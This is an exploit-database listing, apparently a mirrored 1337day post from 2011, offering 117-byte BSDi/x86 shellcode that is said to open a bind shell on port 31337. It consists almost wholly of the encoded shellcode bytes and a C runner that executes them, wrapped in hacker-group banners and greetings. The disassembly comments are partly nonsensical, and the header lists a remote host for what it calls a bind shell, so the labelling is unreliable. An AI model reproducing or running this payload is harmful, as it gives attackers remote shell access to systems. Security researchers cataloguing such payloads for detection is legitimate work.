Lucene search
K

BSDi/x86 - BindShell on 31337 port - Shellcode 117 Bytes

🗓️ 18 May 2011 00:00:00Reported by KedAns-DzType 
zdt
 zdt
🔗 0day.today👁 40 Views

BSDi/x86 - BindShell on 31337 port - 117 Byte Shellcod

Code
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#======[ Sh3lL C0d3 ]=========>

/*
###
# Title : BSDi/x86 - BindShell on 31337 port - Shellcode 117 Bytes
# Author : KedAns-Dz
# E-mail : [email protected] ([email protected]) | [email protected]
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.exploit-id.com * www.09exploit.com
# Twitter page : twitter.com/kedans
# platform : BSDi/x86
# Type : Shellcode
###
# (~) Greetings To : Caddy-Dz (+) JaGo-Dz (+) Dr.Ride (+) All My Friends
###
*/

const char shellcode[] =
// LPORT=31337, RHOST=127.0.0.1
"\xD9\xCF"             // |  FXCH ST(7)
"\xB8\x44\x05\x8C\x0D" // | MOV EAX,0D8C0544
"\xD9\x74\x24\xF4"     // | FSTENV (28-BYTE) PTR SS:[ESP-C]
"\x31\xC9"             // | XOR ECX,ECX
"\x5E"                 // | POP ESI
"\xB1\x17"             // | MOV CL,17
"\x31\x46\x19"         // | XOR DWORD PTR DS:[ESI+19],EAX
"\x03\x46\x19"         // | ADD EAX,DWORD PTR DS:[ESI+19]
"\x83\xEE\xFC"         // | SUB ESI,-4
"\xA6"                 // | CMPS BYTE PTR DS:[ESI],BYTE PTR ES:[EDI]
"\xF0\x05\xE8\x4E\xFB\x12" // | LOCK ADD EAX,12FB4EE8                    
"\xF3"                 // | PREFIX REP:                              
"\x4D"                 // | DEC EBP
"\x43"                 // | INC EBX
"\x86\xF3"             // | XCHG BL,DH
"\x51"                 // | PUSH ECX
"\xB4\x2E"             // | MOV AH,2E
"\xA3\xD8\x52\x61\x84" // | MOV DWORD PTR DS:[846152D8],EAX
"\x8A\xDA"             // | MOV BL,DL
"\xD2\x44\x7A\x6B"     // | ROL BYTE PTR DS:[EDX+EDI*2+6B],CL
"\xB3\xBB"             // | MOV BL,0BB
"\xAC"                 // | LODS BYTE PTR DS:[ESI]
"\xD9\x5C\x54\x52"     // | FSTP DWORD PTR SS:[ESP+EDX*2+52]
"\xA4"                 // | MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
"\xF5"                 // | CMC
"\xDD\xB1\x32\x16\x8D\x65"  // | FSAVE (108-BYTE) PTR DS:[ECX+658D1632]
"\xA9\x7E\x69\x7A\xFB"      // | TEST EAX,FB7A697E
"\xCF"                 // | IRETD
"\xE3\x7B"             // | JECXZ SHORT CM2.00402701
"\xD2\x69\xA6"         // | SHR BYTE PTR DS:[ECX-5A],CL
"\xD1\x8A\x39\x58\x2A\xFA"  // | ROR DWORD PTR DS:[EDX+FA2A5839],1
"\xAD"                 // | LODS DWORD PTR DS:[ESI]
"\x0F\xD6"             // 
"\x5A"                 // |POP EDX
"\xB8\x95\x8E\x0D\x6B" // | MOV EAX,6B0D8E95
"\xD5\xF8"             // | AAD 0F8
"\xE7\xEA"             // | OUT 0EA,EAX  ;  I/O command
"\xDF\x54\x90\x23"     // | FIST WORD PTR DS:[EAX+EDX*4+23]
"\x0F\x27"             //                                  
"\x08\x54\x60\xA5"     // | OR BYTE PTR DS:[EAX-5B],DL
"\xA1\xCA\xF7\xCA\x62" // | MOV EAX,DWORD PTR DS:[62CAF7CA]
"\x47"                 // | INC EDI
"\x5B"                 // | POP EBX
"\xBC\xB8\x98\x8D";    // | MOV ESP,8D98B8

int main() {

    void (*hell)() = (void *)shellcode;
    return (*(int(*)())shellcode)();

}

/*
#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================  
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > Islampard + Z4k1-X-EnG + Dr.Ride
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com) 
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu
# gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... * Str0ke
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org)
# JaGo-Dz (sec4ever.com) * CEO (0nto.me) * PaCketStorm Team (www.packetstormsecurity.org)
# www.metasploit.com * UE-Team (www.09exploit.com) * All Security and Exploits Webs ...
# -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
# (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever 
# h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm
# Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz
#================================================================================================


Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation